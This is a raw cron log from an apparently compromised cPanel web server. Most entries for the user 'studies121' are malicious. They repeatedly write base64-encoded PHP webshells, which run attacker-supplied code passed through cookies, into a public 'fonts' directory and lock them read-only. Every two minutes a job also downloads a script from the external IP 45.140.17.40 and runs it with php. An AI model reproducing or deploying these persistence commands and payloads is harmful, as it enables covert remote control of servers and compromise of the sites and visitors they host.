Sep  3 08:11:01 ip-184-168-122-23 CROND[703]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:11:01 ip-184-168-122-23 CROND[705]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:11:01 ip-184-168-122-23 CROND[704]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:11:01 ip-184-168-122-23 CROND[706]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 08:12:01 ip-184-168-122-23 CROND[809]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 08:12:01 ip-184-168-122-23 CROND[810]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 08:12:01 ip-184-168-122-23 CROND[811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:12:01 ip-184-168-122-23 CROND[815]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:12:01 ip-184-168-122-23 CROND[816]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:13:01 ip-184-168-122-23 CROND[936]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:13:01 ip-184-168-122-23 CROND[938]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 08:13:01 ip-184-168-122-23 CROND[940]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:13:01 ip-184-168-122-23 CROND[943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:14:01 ip-184-168-122-23 CROND[1119]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 08:14:01 ip-184-168-122-23 CROND[1120]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:14:01 ip-184-168-122-23 CROND[1121]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:14:01 ip-184-168-122-23 CROND[1123]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 08:14:01 ip-184-168-122-23 CROND[1126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:15:01 ip-184-168-122-23 CROND[1274]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:15:01 ip-184-168-122-23 CROND[1275]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  3 08:15:01 ip-184-168-122-23 CROND[1276]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 08:15:01 ip-184-168-122-23 CROND[1277]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 08:15:01 ip-184-168-122-23 CROND[1282]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:15:01 ip-184-168-122-23 CROND[1280]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:15:01 ip-184-168-122-23 CROND[1281]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 08:16:01 ip-184-168-122-23 CROND[1461]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 08:16:01 ip-184-168-122-23 CROND[1462]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:16:01 ip-184-168-122-23 CROND[1465]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:16:01 ip-184-168-122-23 CROND[1469]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 08:16:01 ip-184-168-122-23 CROND[1466]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:16:01 ip-184-168-122-23 CROND[1467]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 08:17:01 ip-184-168-122-23 CROND[1578]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 08:17:01 ip-184-168-122-23 CROND[1580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:17:01 ip-184-168-122-23 CROND[1581]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:17:01 ip-184-168-122-23 CROND[1579]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:18:01 ip-184-168-122-23 CROND[1706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:18:01 ip-184-168-122-23 CROND[1709]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 08:18:01 ip-184-168-122-23 CROND[1707]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 08:18:01 ip-184-168-122-23 CROND[1710]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:18:01 ip-184-168-122-23 CROND[1713]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:19:01 ip-184-168-122-23 CROND[1891]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:19:01 ip-184-168-122-23 CROND[1893]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:19:01 ip-184-168-122-23 CROND[1894]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:19:01 ip-184-168-122-23 CROND[1898]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 08:20:02 ip-184-168-122-23 CROND[2024]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:20:02 ip-184-168-122-23 CROND[2025]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:20:02 ip-184-168-122-23 CROND[2027]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 08:20:02 ip-184-168-122-23 CROND[2028]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:20:02 ip-184-168-122-23 CROND[2030]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 08:20:02 ip-184-168-122-23 CROND[2034]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 08:20:02 ip-184-168-122-23 CROND[2033]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 08:20:02 ip-184-168-122-23 CROND[2035]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 08:20:02 ip-184-168-122-23 CROND[2029]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 08:21:01 ip-184-168-122-23 CROND[2200]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:21:01 ip-184-168-122-23 CROND[2203]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 08:21:01 ip-184-168-122-23 CROND[2201]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:21:01 ip-184-168-122-23 CROND[2202]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:22:01 ip-184-168-122-23 CROND[2294]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 08:22:01 ip-184-168-122-23 CROND[2298]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 08:22:01 ip-184-168-122-23 CROND[2299]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 08:22:01 ip-184-168-122-23 CROND[2296]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 08:22:01 ip-184-168-122-23 CROND[2297]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 08:23:01 ip-184-168-122-23 CROND[2427]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
